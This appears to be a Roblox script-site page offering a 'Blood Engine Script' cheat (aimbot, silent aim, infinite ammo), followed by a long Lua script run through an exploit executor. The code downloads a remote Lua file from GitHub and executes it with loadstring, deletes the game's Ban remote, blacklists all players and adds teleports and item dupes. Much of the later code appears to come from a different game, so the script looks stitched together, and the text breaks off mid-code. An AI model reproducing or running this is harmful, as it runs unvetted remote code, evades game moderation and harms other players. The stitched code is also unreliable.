Roblox Database Logo
  • Home
  • Best Games
  • Roblox Codes
    • Promo Codes
    • Game Codes
    • Item Codes
    • Music Codes
    • Star Codes
    • Color Codes
  • Roblox Guides
  • Roblox Scripts
  • Roblox Tools
  • Home
  • Best Games
  • Roblox Codes
    • Promo Codes
    • Game Codes
    • Item Codes
    • Music Codes
    • Star Codes
    • Color Codes
  • Roblox Guides
  • Roblox Scripts
  • Roblox Tools

Blood Engine Script

Prepare the most destructive artilleries to instantly wipe out zombie waves and other players in a horrific way with the help of Blood Engine Script. With its unlimited ammunition features, this script or code will give you the best tools to shoot down multiple enemies silently and become more unstoppable. It also gives you super guns or other powerful explosives to witness realistic blood and body injury effects of the victims throughout the game.

Blood Engine Script

Blood Engine Script Aimbot, Silent Aim, Infinite Ammo, No Spread, Super Gun

Copy the script below to level up your bloody action game experience. Make sure to use the most effective executor/exploit to make your daily gunfight more intense and victorious. We have a list of available executors here.

getgenv().aimpart = "Head"
getgenv().enabled = true
getgenv().ignoreDummies = true
getgenv().checkifpvpison = true

bloodengine, ware = pcall(game.HttpGet, game, ('https://%s'):format('github.com/VanillaDeveloper/ZoDestroyer/blob/main/blood_engine_silentAim.lua?raw=true'))
assert(bloodengine, 'cannot load your script')
loadstring(ware)();
-- Objects

local Intro = Instance.new("ScreenGui")
local IntroImage = Instance.new("ImageLabel")
local _1 = Instance.new("TextLabel")
local _2 = Instance.new("TextLabel")
local _3 = Instance.new("TextLabel")
local _4 = Instance.new("TextLabel")
local _5 = Instance.new("TextLabel")
local _6 = Instance.new("TextLabel")
local _7 = Instance.new("TextLabel")

-- Properties

Intro.Name = "Intro"
Intro.Parent = game.CoreGui

IntroImage.Name = "IntroImage"
IntroImage.Parent = Intro
IntroImage.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
IntroImage.BackgroundTransparency = 1
IntroImage.BorderColor3 = Color3.new(1, 1, 1)
IntroImage.BorderSizePixel = 0
IntroImage.Position = UDim2.new(0.400, 0, 0.200, 0)
IntroImage.Size = UDim2.new(0, 356, 0, 347)
IntroImage.Image = "rbxassetid://1130382821"

_1.Name = "1"
_1.Parent = IntroImage
_1.BackgroundColor3 = Color3.fromRGB(249, 214, 46)
_1.BackgroundTransparency = 1
_1.BorderSizePixel = 0
_1.Position = UDim2.new(0.109550565, 0, 0.423631132, 0)
_1.Size = UDim2.new(0, 40, 0, 53)
_1.Font = Enum.Font.ArialBold
_1.FontSize = Enum.FontSize.Size14
_1.Text = " "
_1.TextColor3 = Color3.new(255, 0, 0)
_1.TextScaled = true
_1.TextSize = 14
_1.TextWrapped = true

_2.Name = "2"
_2.Parent = IntroImage
_2.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
_2.BackgroundTransparency = 1
_2.BorderSizePixel = 0
_2.Position = UDim2.new(0.221910119, 0, 0.423631132, 0)
_2.Size = UDim2.new(0, 40, 0, 53)
_2.Font = Enum.Font.ArialBold
_2.FontSize = Enum.FontSize.Size14
_2.Text = "B"
_2.TextColor3 = Color3.new(255, 0, 0)
_2.TextScaled = true
_2.TextSize = 14
_2.TextWrapped = true

_3.Name = "3"
_3.Parent = IntroImage
_3.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
_3.BackgroundTransparency = 1
_3.BorderSizePixel = 0
_3.Position = UDim2.new(0.334269673, 0, 0.423631132, 0)
_3.Size = UDim2.new(0, 40, 0, 53)
_3.Font = Enum.Font.ArialBold
_3.FontSize = Enum.FontSize.Size14
_3.Text = "L"
_3.TextColor3 = Color3.new(255, 0, 0)
_3.TextScaled = true
_3.TextSize = 14
_3.TextWrapped = true

_4.Name = "4"
_4.Parent = IntroImage
_4.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
_4.BackgroundTransparency = 1
_4.BorderSizePixel = 0
_4.Position = UDim2.new(0.446629226, 0, 0.423631132, 0)
_4.Size = UDim2.new(0, 40, 0, 53)
_4.Font = Enum.Font.ArialBold
_4.FontSize = Enum.FontSize.Size14
_4.Text = "O"
_4.TextColor3 = Color3.new(255, 0, 0)
_4.TextScaled = true
_4.TextSize = 14
_4.TextWrapped = true

_5.Name = "5"
_5.Parent = IntroImage
_5.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
_5.BackgroundTransparency = 1
_5.BorderSizePixel = 0
_5.Position = UDim2.new(0.55898881, 0, 0.423631132, 0)
_5.Size = UDim2.new(0, 40, 0, 53)
_5.Font = Enum.Font.ArialBold
_5.FontSize = Enum.FontSize.Size14
_5.Text = "O"
_5.TextColor3 = Color3.new(255, 0, 0)
_5.TextScaled = true
_5.TextSize = 14
_5.TextWrapped = true

_6.Name = "6"
_6.Parent = IntroImage
_6.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
_6.BackgroundTransparency = 1
_6.BorderSizePixel = 0
_6.Position = UDim2.new(0.671348333, 0, 0.423631132, 0)
_6.Size = UDim2.new(0, 40, 0, 53)
_6.Font = Enum.Font.ArialBold
_6.FontSize = Enum.FontSize.Size14
_6.Text = "D"
_6.TextColor3 = Color3.new(255, 0, 0)
_6.TextScaled = true
_6.TextSize = 14
_6.TextWrapped = true

_7.Name = "7"
_7.Parent = IntroImage
_7.BackgroundColor3 = Color3.new(1, 1, 1)
_7.BackgroundTransparency = 1
_7.BorderSizePixel = 0
_7.Position = UDim2.new(0.775280893, 0, 0.423631132, 0)
_7.Size = UDim2.new(0, 40, 0, 53)
_7.Font = Enum.Font.ArialBold
_7.FontSize = Enum.FontSize.Size14
_7.Text = " "
_7.TextColor3 = Color3.new(255, 0, 0)
_7.TextScaled = true
_7.TextSize = 14
_7.TextWrapped = true



_1.TextTransparency = 0.2
wait()
_2.TextTransparency = 0.2
wait()
_3.TextTransparency = 0.2
wait()
_4.TextTransparency = 0.2
wait()
_5.TextTransparency = 0.2
wait()
_6.TextTransparency = 0.2
wait()
_7.TextTransparency = 0.2
wait()
IntroImage.ImageTransparency = 0.2
wait()
_1.TextTransparency = 0.3
wait()
_2.TextTransparency = 0.3
wait()
_3.TextTransparency = 0.3
wait()
_4.TextTransparency = 0.3
wait()
_5.TextTransparency = 0.3
wait()
_6.TextTransparency = 0.3
wait()
_7.TextTransparency = 0.3
wait()
IntroImage.ImageTransparency = 0.3
wait()
_1.TextTransparency = 0.4
wait()
_2.TextTransparency = 0.4
wait()
_3.TextTransparency = 0.4
wait()
_4.TextTransparency = 0.4
wait()
_5.TextTransparency = 0.4
wait()
_6.TextTransparency = 0.4
wait()
_7.TextTransparency = 0.4
wait()
IntroImage.ImageTransparency = 0.4
wait()
_1.TextTransparency = 0.5
wait()
_2.TextTransparency = 0.5
wait()
_3.TextTransparency = 0.4
wait()
_4.TextTransparency = 0.5
wait()
_5.TextTransparency = 0.5
wait()
_6.TextTransparency = 0.5
wait()
_7.TextTransparency = 0.5
wait()
IntroImage.ImageTransparency = 0.5
wait()
_1.TextTransparency = 0.6
wait()
_2.TextTransparency = 0.6
wait()
_3.TextTransparency = 0.6
wait()
_4.TextTransparency = 0.6
wait()
_5.TextTransparency = 0.6
wait()
_6.TextTransparency = 0.6
wait()
_7.TextTransparency = 0.6
wait()
IntroImage.ImageTransparency = 0.6
wait()
_1.TextTransparency = 0.7
wait()
_2.TextTransparency = 0.7
wait()
_3.TextTransparency = 0.7
wait()
_4.TextTransparency = 0.7
wait()
_5.TextTransparency = 0.7
wait()
_6.TextTransparency = 0.7
wait()
_7.TextTransparency = 0.7
wait()
IntroImage.ImageTransparency = 0.7
wait()
_1.TextTransparency = 0.8
wait()
_2.TextTransparency = 0.8
wait()
_3.TextTransparency = 0.8
wait()
_4.TextTransparency = 0.8
wait()
_5.TextTransparency = 0.8
wait()
_6.TextTransparency = 0.8
wait()
_7.TextTransparency = 0.8
wait()
IntroImage.ImageTransparency = 0.8
wait()
_1.TextTransparency = 0.9
wait()
_2.TextTransparency = 0.9
wait()
_3.TextTransparency = 0.9
wait()
_4.TextTransparency = 0.9
wait()
_5.TextTransparency = 0.9
wait()
_6.TextTransparency = 0.9
wait()
_7.TextTransparency = 0.9
wait()
IntroImage.ImageTransparency = 0.9
wait()
_1.TextTransparency = 1
wait()
_2.TextTransparency = 1
wait()
_3.TextTransparency = 1
wait()
_4.TextTransparency = 1
wait()
_5.TextTransparency = 1
wait()
_6.TextTransparency = 1
wait()
_7.TextTransparency = 1
wait()
IntroImage.ImageTransparency = 0.9
wait()
_1.TextTransparency = 1.1
wait()
_2.TextTransparency = 1.1
wait()
_3.TextTransparency = 1.1
wait()
_4.TextTransparency = 1.1
wait()
_5.TextTransparency = 1.1
wait()
_6.TextTransparency = 1.1
wait()
_7.TextTransparency = 1.1
wait()
IntroImage.ImageTransparency = 5.1
wait()
Intro:Destroy()
wait()

local s = Instance.new("Sound")
s.Name = "Sound"
s.SoundId = "http://www.roblox.com/asset/?id=2528420941"
s.Volume = 0
s.Looped = false
s.archivable = false
s.Parent = game.Workspace
--Join

local k = Instance.new("Sound")
k.Name = "Soundzz"
k.SoundId = "http://www.roblox.com/asset/?id=305977837"
k.Volume = 0
k.Looped = false
k.archivable = false
k.Parent = game.Workspace
--Left

local q = Instance.new("Sound")
q.Name = "Soundzzzz"
q.SoundId = "http://www.roblox.com/asset/?id=249869145"
q.Volume = 0
q.Looped = false
q.archivable = false
q.Parent = game.Workspace
--Systems Online

local function SendNotification(title,text,duration,...)
  game.StarterGui:SetCore("SendNotification", {
    Title = title;
    Text = text;
    Icon = "";
    Duration = duration;
  })
end

  game.Players.ChildAdded:Connect(function(player)
  if not pcall (function()
  SendNotification("Player JOINED",""..player.Name.." has JOINED the game",5 )
  s:Play()
  end) then
    print ("Error")
  end
  end)
---------------------------------------------------------------------
  -- Same extra's apply down here as well.

  game.Players.ChildRemoved:Connect(function(player)
  if not pcall (function()
  SendNotification("Player LEFT",""..player.Name.." has LEFT the game",4.4 )
  k:Play()
  end) then
    print ("Error")
  end
  end)
  
  SendNotification("Loaded","Join and leave detector is loaded",2)
  q:Play()

-- Variables --

local Script = "BLOOD"
local gFont = "SourceSans"
local Visi = true

-- Functions -- 

function Log(text, r, g, b, font)
    game.StarterGui:SetCore("ChatMakeSystemMessage", {
    Text = "{" .. tostring(Script) .. "} - " .. text;
    Color = Color3.new(r, g, b);
    Font = Enum.Font[font];
    FontSize = Enum.FontSize.Size10;
    })
end
Log("Loading framework...", 255,0,0, tostring(gFont))
---------------------------------------------------------------------

-- Automatically Add players to Blacklist --

Mouse = game.Players.LocalPlayer:GetMouse()

game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"

Client = game.ReplicatedStorage.Interaction.ClientSetListPlayer
players = game.Players
for i, v in pairs(players:GetPlayers()) do
	if v.Name ~= players.LocalPlayer.Name then
		Client:InvokeServer(players.LocalPlayer.BlacklistFolder, v, true)
	end
end
players.PlayerAdded:connect(function(plr)
	Client:InvokeServer(players.LocalPlayer.BlacklistFolder, plr, true)
end)

game:GetService("StarterGui"):SetCore("SendNotification", {
  Title = "BLOOD",
  Text = "Loaded Successful."
})

local players = game:GetService('Players')
if game.Players.LocalPlayer then 
game.StarterGui:SetCore('SendNotification', {
    Title = ' '.. players.LocalPlayer.Name..'!',
    Text = 'Welcome to Bloods GUI!',
    Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&Format=Png&userName=]]..players.LocalPlayer.Name..[[&RAND]] .. math.random(1,10000000),
    Duration = 5,
   })
  end

---------------------------------------------------------------------
WCollide = "Nothing"
afkactive = false
CustomLocationSet = false

local BLOOD = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local ImageLabel = Instance.new("ImageLabel")
local OpenFrame = Instance.new("Frame")
local Open = Instance.new("ImageButton")
local CloseBLOOD = Instance.new("TextButton")
local Minimize = Instance.new("TextButton")
local MenuFrame = Instance.new("Frame")
local MenuFramea = Instance.new("Frame")
local AIntroImage = Instance.new("ImageLabel")
local AIntroImage1 = Instance.new("ImageLabel")
local BloodFrameInfo = Instance.new("TextLabel")
local Picker = Instance.new("ScrollingFrame")
local AIntroImage = Instance.new("ImageButton")
local ChangeItem = Instance.new("Frame")
local CurrentItem = Instance.new("ImageButton")


--Properties:
BLOOD.Name = "BLOOD"
BLOOD.Parent = game.CoreGui

OpenFrame.Name = "OpenFrame"
OpenFrame.Parent = BLOOD
OpenFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
OpenFrame.BorderColor3 = Color3.fromRGB(196, 40, 28)
OpenFrame.Position = UDim2.new(0.5, -40, 0, -28)
OpenFrame.Size = UDim2.new(0, 80, 0, 20)

Open.Name = "Open"
Open.Parent = OpenFrame
Open.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1)
Open.BorderColor3 = Color3.fromRGB(196, 40, 28)
Open.Size = UDim2.new(0, 80, 0, 20)
Open.Image = "rbxassetid://3630810430"
Open.Selectable = true


MainFrame.Name = "MainFrame"
MainFrame.Parent = BLOOD
MainFrame.Active = true
MainFrame.Draggable = true
MainFrame.BackgroundColor3 = Color3.new(1, 1, 1)
MainFrame.Position = UDim2.new(0.0111675123, 0, 0.436827958, 0)
MainFrame.Selectable = true
MainFrame.Size = UDim2.new(0, 500, 0, 500)
MainFrame.Visible = false

ImageLabel.Name = "ImageLabel"
ImageLabel.Parent = MainFrame
ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1)
ImageLabel.Position = UDim2.new(-0.000475523295, 0, -0.00117481197, 0)
ImageLabel.Size = UDim2.new(0, 500, 0, 500)
ImageLabel.Image = "rbxassetid://3883502641"

CloseBLOOD.Name = "CloseBLOOD"
CloseBLOOD.Parent = MainFrame
CloseBLOOD.BackgroundColor3 = Color3.new(0, 0, 0)
CloseBLOOD.BorderColor3 = Color3.fromRGB(196, 40, 28)
CloseBLOOD.Position = UDim2.new(0, 5, 0, 5)
CloseBLOOD.Size = UDim2.new(0, 20, 0, 20)
CloseBLOOD.Font = Enum.Font.Fantasy
CloseBLOOD.FontSize = Enum.FontSize.Size18
CloseBLOOD.Text = "X"
CloseBLOOD.TextColor3 = Color3.new(1, 1, 1)
CloseBLOOD.TextScaled = true
CloseBLOOD.TextWrapped = true
CloseBLOOD.TextSize = 17

Minimize.Name = "Minimize"
Minimize.Parent = MainFrame
Minimize.BackgroundColor3 = Color3.new(0, 0, 0)
Minimize.BorderColor3 = Color3.fromRGB(196, 40, 28)
Minimize.Position = UDim2.new(0, 26, 0, 5)
Minimize.Size = UDim2.new(0, 20, 0, 20)
Minimize.Font = Enum.Font.Fantasy
Minimize.FontSize = Enum.FontSize.Size18
Minimize.Text = "-"
Minimize.TextColor3 = Color3.new(1, 1, 1)
Minimize.TextScaled = true
Minimize.TextWrapped = true
Minimize.TextSize = 17

MenuFrame.Name = "MenuFrame"
MenuFrame.Parent = MainFrame
MenuFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
MenuFrame.BackgroundTransparency = 1
MenuFrame.BorderColor3 = Color3.new(0, 1, 0)
MenuFrame.Position = UDim2.new(0, 5, 0, 30)
MenuFrame.Size = UDim2.new(0, 170, 0,400)

MenuFramea.Name = "MenuFrame"
MenuFramea.Parent = MainFrame
MenuFramea.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
MenuFramea.BackgroundTransparency = 1
MenuFramea.BorderColor3 = Color3.new(0, 1, 0)
MenuFramea.Position = UDim2.new(0, 270, 0, 140)
MenuFramea.Size = UDim2.new(0, 120, 0,350)

AIntroImage.Name = "IntroImage"
AIntroImage.Parent = MainFrame
AIntroImage.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
AIntroImage.BackgroundTransparency = 1
AIntroImage.BorderColor3 = Color3.new(1, 1, 1)
AIntroImage.BorderSizePixel = 0
AIntroImage.Position = UDim2.new(0, 10, 0, 335)
AIntroImage.Size = UDim2.new(0, 120, 0, 30)
AIntroImage.Image = "rbxassetid://3630810430"
AIntroImage.Visible = true

AIntroImage1.Name = "IntroImage"
AIntroImage1.Parent = MainFrame
AIntroImage1.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
AIntroImage1.BackgroundTransparency = 1
AIntroImage1.BorderColor3 = Color3.new(1, 1, 1)
AIntroImage1.BorderSizePixel = 0
AIntroImage1.Position = UDim2.new(0, 10, 0, 370)
AIntroImage1.Size = UDim2.new(0, 120, 0, 120)
AIntroImage1.Image = "rbxassetid://3940167130"
AIntroImage1.Visible = true

BloodFrameInfo.Name = "BloodFrameInfo"
BloodFrameInfo.Parent = MenuFrame
BloodFrameInfo.BackgroundColor3 = Color3.new(0, 0, 0)
BloodFrameInfo.BackgroundTransparency = 1
BloodFrameInfo.Position = UDim2.new(0, 3, 0, 3)
BloodFrameInfo.Size = UDim2.new(0, 164, 0, 310)
BloodFrameInfo.Font = Enum.Font.Fantasy
BloodFrameInfo.FontSize = Enum.FontSize.Size14
BloodFrameInfo.Text = "All current players and new players who join will be automatically blacklisted.\n\nTP Tool adds a backpack item to click teleport you.\n\nNew dupe added just click this button move items then turn off and reload.\n\nAuto buy added just open the backpack and click on the item you want.\n\nA BIG THANKS TO JOHIRO FOR WORKING ON THE NEW SCRIPTS.\n\nScripts are big so give time to load."
BloodFrameInfo.TextColor3 = Color3.new(0, 0, 0)
BloodFrameInfo.TextWrapped = true
BloodFrameInfo.TextSize = 14
BloodFrameInfo.Visible = true
Log("Loaded framework successfully!", 0,255,255, tostring(gFont))

local Depart = Instance.new("TextLabel")

Depart.Name = "Depart"
Depart.Parent = MainFrame
Depart.BackgroundColor3 = Color3.new(0, 0.298039, 0.498039)
Depart.BorderColor3 = Color3.new(0, 0, 0)
Depart.BorderSizePixel = 2
Depart.Position = UDim2.new(0, 50, 0, 5)
Depart.Size = UDim2.new(0, 130, 0, 20)
Depart.BackgroundTransparency=1
Depart.Font = Enum.Font.Fantasy
Depart.FontSize = Enum.FontSize.Size18
Depart.Text = "Ferry Departs: 0"
Depart.TextColor3 = Color3.new(1, 1, 1)
Depart.TextSize = 15
Depart.TextStrokeColor3 = Color3.new(1, 1, 1)
Depart.TextWrapped = true

game.Workspace.Ferry.TimeToDeparture.Changed:connect(function()
Depart.Text = "Ferry Departs: ".. game.Workspace.Ferry.TimeToDeparture.Value
if Depart.Text == "Ferry Departs: 0" then 
	wait(6)
	Depart.Text = "Ferry has Departed"
else
	Depart.Text = "Ferry Departs: ".. game.Workspace.Ferry.TimeToDeparture.Value
end
end)

ChangeItem.Name = "ChangeItem"
ChangeItem.Parent = MainFrame
ChangeItem.BackgroundColor3 = Color3.fromRGB(193, 40, 28)
ChangeItem.BorderColor3 = Color3.new(0, 0, 0)
ChangeItem.BorderSizePixel = 2
ChangeItem.Position = UDim2.new(0, 390, 1, -110)
ChangeItem.Size = UDim2.new(0, 100, 0, 100)
ChangeItem.ZIndex = 2

CurrentItem.Name = "CurrentItem"
CurrentItem.Parent = ChangeItem
CurrentItem.BackgroundColor3 = Color3.new(1, 1, 1)
CurrentItem.BorderColor3 = Color3.new(0, 0, 0)
CurrentItem.BorderSizePixel = 2
CurrentItem.Position = UDim2.new(0, 10, 0, 10)
CurrentItem.Size = UDim2.new(0, 80, 0, 80)
CurrentItem.ZIndex = 2
CurrentItem.Image = "rbxassetid://3886256996"
CurrentItem.ScaleType = Enum.ScaleType.Crop

Picker.Name = "Picker"
Picker.Parent = MainFrame
Picker.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
Picker.BorderColor3 = Color3.new(0, 0, 0)
Picker.BorderSizePixel = 2
Picker.Position = UDim2.new(0, 390, 1, -335)
Picker.Size = UDim2.new(0, 100, 0, 220)
Picker.CanvasPosition = Vector2.new(0,0)
Picker.CanvasSize = UDim2.new(0, 0, 0, 687)
Picker.ScrollBarThickness = 10
Picker.VerticalScrollBarPosition = Enum.VerticalScrollBarPosition.Left
Picker.Visible = false

local PlayerFrame = Instance.new("Frame")
local Player1 = Instance.new("TextButton")
local Player2 = Instance.new("TextButton")
local Player3 = Instance.new("TextButton")
local Player4 = Instance.new("TextButton")
local Player5 = Instance.new("TextButton")
local Player6 = Instance.new("TextButton")
local PlyrSel = Instance.new("TextLabel")
local TpPlayer = Instance.new("TextButton")
local TpBase = Instance.new("TextButton")
local Player = Instance.new("ImageButton")

Player.Name = "Player"
Player.Parent = Picker
Player.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
Player.BorderColor3 = Color3.new(0, 0, 0)
Player.Position = UDim2.new(0, 15, 0, 5)
Player.Size = UDim2.new(0, 80, 0, 80)
Player.ZIndex = 3
Player.Image = "rbxassetid://3888401903"
Player.ScaleType = Enum.ScaleType.Crop
Player.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)


PlayerFrame.Name = "PlayerFrame"
PlayerFrame.Parent = MenuFrame
PlayerFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
PlayerFrame.BackgroundTransparency = 0
PlayerFrame.BorderColor3 = Color3.new(0, 0, 0)
PlayerFrame.Size = UDim2.new(0, 170, 0, 290)
PlayerFrame.Visible = false

PlyrSel.Name = "PlyrSel"
PlyrSel.Parent = PlayerFrame
PlyrSel.BackgroundColor3 = Color3.new(0, 0, 0)
PlyrSel.BackgroundTransparency = 0.15
PlyrSel.BorderColor3 = Color3.new(0, 0, 0)
PlyrSel.Position = UDim2.new(0, 5, 0, 5)
PlyrSel.Size = UDim2.new(0, 160, 0, 20)
PlyrSel.Font = Enum.Font.SourceSansBold
PlyrSel.FontSize = Enum.FontSize.Size18
PlyrSel.Text = "SELECT A PLAYER"
PlyrSel.TextColor3 = Color3.fromRGB(255, 0, 0)
PlyrSel.TextScaled = true
PlyrSel.TextSize = 17
PlyrSel.TextWrapped = true

Player1.Name = "Player1"
Player1.Parent = PlayerFrame
Player1.BackgroundColor3 = Color3.new(0, 0, 0)
Player1.BorderColor3 = Color3.new(0, 0, 0)
Player1.Position = UDim2.new(0, 5, 0, 40)
Player1.Size = UDim2.new(0, 160, 0, 20)
Player1.Font = Enum.Font.SourceSansSemibold
Player1.FontSize = Enum.FontSize.Size18
Player1.Text = ""
Player1.TextColor3 = Color3.fromRGB(255, 0, 0)
Player1.TextSize = 16
Player1.TextWrapped = true

Player2.Name = "Player2"
Player2.Parent = PlayerFrame
Player2.BackgroundColor3 = Color3.new(0, 0, 0)
Player2.BorderColor3 = Color3.new(0, 0, 0)
Player2.Position = UDim2.new(0, 5, 0, 65)
Player2.Size = UDim2.new(0, 160, 0, 20)
Player2.Font = Enum.Font.SourceSansSemibold
Player2.FontSize = Enum.FontSize.Size18
Player2.Text = ""
Player2.TextColor3 = Color3.fromRGB(255, 0, 0)
Player2.TextSize = 16
Player2.TextWrapped = true

Player3.Name = "Player3"
Player3.Parent = PlayerFrame
Player3.BackgroundColor3 = Color3.new(0, 0, 0)
Player3.BorderColor3 = Color3.new(0, 0, 0)
Player3.Position = UDim2.new(0, 5, 0, 90)
Player3.Size = UDim2.new(0, 160, 0, 20)
Player3.Font = Enum.Font.SourceSansSemibold
Player3.FontSize = Enum.FontSize.Size18
Player3.Text = ""
Player3.TextColor3 = Color3.fromRGB(255, 0, 0)
Player3.TextSize = 16
Player3.TextWrapped = true

Player4.Name = "Player4"
Player4.Parent = PlayerFrame
Player4.BackgroundColor3 = Color3.new(0, 0, 0)
Player4.BorderColor3 = Color3.new(0, 0, 0)
Player4.Position = UDim2.new(0, 5, 0, 115)
Player4.Size = UDim2.new(0, 160, 0, 20)
Player4.Font = Enum.Font.SourceSansSemibold
Player4.FontSize = Enum.FontSize.Size18
Player4.Text = ""
Player4.TextColor3 = Color3.fromRGB(255, 0, 0)
Player4.TextSize = 16
Player4.TextWrapped = true

Player5.Name = "Player5"
Player5.Parent = PlayerFrame
Player5.BackgroundColor3 = Color3.new(0, 0, 0)
Player5.BorderColor3 = Color3.new(0, 0, 0)
Player5.Position = UDim2.new(0, 5, 0, 140)
Player5.Size = UDim2.new(0, 160, 0, 20)
Player5.Font = Enum.Font.SourceSansSemibold
Player5.FontSize = Enum.FontSize.Size18
Player5.Text = ""
Player5.TextColor3 = Color3.fromRGB(255, 0, 0)
Player5.TextSize = 16
Player5.TextWrapped = true

Player6.Name = "Player6"
Player6.Parent = PlayerFrame
Player6.BackgroundColor3 = Color3.new(0, 0, 0)
Player6.BorderColor3 = Color3.new(0, 0, 0)
Player6.Position = UDim2.new(0, 5, 0, 165)
Player6.Size = UDim2.new(0, 160, 0, 20)
Player6.Font = Enum.Font.SourceSansSemibold
Player6.FontSize = Enum.FontSize.Size18
Player6.Text = ""
Player6.TextColor3 = Color3.fromRGB(255, 0, 0)
Player6.TextSize = 16
Player6.TextWrapped = true

TpPlayer.Name = "TpPlayer"
TpPlayer.Parent = PlayerFrame
TpPlayer.BackgroundColor3 = Color3.new(0, 0, 0)
TpPlayer.BackgroundTransparency = 0
TpPlayer.BorderColor3 = Color3.new(0, 0, 0)
TpPlayer.Position = UDim2.new(0, 5, 0, 225)
TpPlayer.Size = UDim2.new(0, 75, 0, 35)
TpPlayer.Font = Enum.Font.SourceSansBold
TpPlayer.FontSize = Enum.FontSize.Size18
TpPlayer.Text = "Tp to Player"
TpPlayer.TextColor3 = Color3.fromRGB(255, 0, 0)
TpPlayer.TextScaled = true
TpPlayer.TextWrapped = true
TpPlayer.TextSize = 14

TpBase.Name = "TpBase"
TpBase.Parent = PlayerFrame
TpBase.BackgroundColor3 = Color3.new(0, 0, 0)
TpBase.BackgroundTransparency = 0
TpBase.BorderColor3 = Color3.new(0, 0, 0)
TpBase.Position = UDim2.new(0, 90, 0, 225)
TpBase.Size = UDim2.new(0, 75, 0, 35)
TpBase.Font = Enum.Font.SourceSansBold
TpBase.FontSize = Enum.FontSize.Size18
TpBase.Text = "Tp to\nBase"
TpBase.TextColor3 = Color3.fromRGB(255, 0, 0)
TpPlayer.TextSize = 22

local Waypoints = Instance.new("ScrollingFrame")
local Stranger = Instance.new("TextButton")
local BobsShack = Instance.new("TextButton")
local PlotTp = Instance.new("TextButton")
local BoxedCars = Instance.new("TextButton")
local Cave = Instance.new("TextButton")
local FancyFurnishings = Instance.new("TextButton")
local FineArtsShop = Instance.new("TextButton")
local LandStore = Instance.new("TextButton")
local LinksLogic = Instance.new("TextButton")
local PalmIsland = Instance.new("TextButton")
local SpawnPoint = Instance.new("TextButton")
local Swamp = Instance.new("TextButton")
local Volcano = Instance.new("TextButton")
local WoodRUs = Instance.new("TextButton")
local Dock = Instance.new("TextButton")
local Bridge = Instance.new("TextButton")
local EndTimes = Instance.new("TextButton")
local ShrineOfSight = Instance.new("TextButton")
local TheDen = Instance.new("TextButton")
local VolcanoWin = Instance.new("TextButton")
local SkiLodge = Instance.new("TextButton")
local FrostTreeArea = Instance.new("TextButton")
local SnowGlowTreeArea = Instance.new("TextButton")
local ShowLocation = Instance.new("TextButton")
local CustomTPPoint = Instance.new("TextButton")
local Teleport = Instance.new("ImageButton")

	local WayPoints = {
["Wood R Us"] = Vector3.new(265, 3, 57),
["SpawnPoint"] = Vector3.new(155, 3, 74),
["Land Store"] = Vector3.new(258, 3, -99),
["Link's Logic"] = Vector3.new(4607, 7.5, -798),
["Cave"] = Vector3.new(3581, -179, 430),
["Volcano"] = Vector3.new(-1585, 622, 1140),
["Swamp"] = Vector3.new(-1209, 132, -801),
["Palm Island"] = Vector3.new(2549, -5, -42),
["Fancy Furnishings"] = Vector3.new(491, 3, -1720),
["Boxed Cars"] = Vector3.new(509, 5.2, -1463),
["Fine Arts Shop"] = Vector3.new(5207, -166, 719),
["Bob's Shack"] = Vector3.new(260, 8, -2542),
["Strange Man"] = Vector3.new(1061, 16, 1131),
["Dock"] = CFrame.new(1114, 3.2, -197),
["Bridge"] = CFrame.new(113, 15, -977),
["End Times"] = CFrame.new(113, -204, -951),
["Shrine Of Sight"] = CFrame.new(-1600, 205, 919),
["The Den"] = CFrame.new(323, 49, 1930),
["Volcano Win"] = CFrame.new(-1675, 358, 1476),
["Ski Lodge"] = CFrame.new(1244, 66, 2306),
["Frost Tree"] = CFrame.new(1448.3, 413, 3185.2),
["SnowGlow Tree"] = CFrame.new(-1105.9, -6, -894)
}

Teleport.Name = "Teleport"
Teleport.Parent = Picker
Teleport.BackgroundColor3 = Color3.new(1, 1, 1)
Teleport.BorderColor3 = Color3.new(0, 0, 0)
Teleport.Position = UDim2.new(0, 15, 0,90)
Teleport.Size = UDim2.new(0, 80, 0, 80)
Teleport.ZIndex = 3
Teleport.Image = "rbxassetid://3891269399"
Teleport.ScaleType = Enum.ScaleType.Crop
Teleport.MouseButton1Click:Connect(function()
CurrentItem.Image = "rbxassetid://3886256996"
AIntroImage.Visible = true
AIntroImage1.Visible = true
end)

Waypoints.Name = "Waypoints"
Waypoints.Parent = MenuFrame
Waypoints.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
Waypoints.BorderColor3 = Color3.new(0, 0, 0)
Waypoints.Size = UDim2.new(0, 170, 0, 290)
Waypoints.CanvasPosition = Vector2.new(0,0)
Waypoints.CanvasSize = UDim2.new(0, 0, 0, 640)
Waypoints.Visible = false

Stranger.Name = "Stranger"
Stranger.Parent = Waypoints
Stranger.BackgroundColor3 = Color3.new(0, 0, 0)
Stranger.Position = UDim2.new(0, 5, 0, 330)
Stranger.Size = UDim2.new(0, 148, 0, 20)
Stranger.Font = Enum.Font.Fantasy
Stranger.FontSize = Enum.FontSize.Size18
Stranger.Text = "Stranger"
Stranger.TextColor3 = Color3.fromRGB(255, 0, 0)
Stranger.TextSize = 16
Stranger.MouseButton1Down:connect(function()
	game.Players.LocalPlayer.Character:MoveTo(WayPoints["Strange Man"])
end)

BobsShack.Name = "BobsShack"
BobsShack.Parent = Waypoints
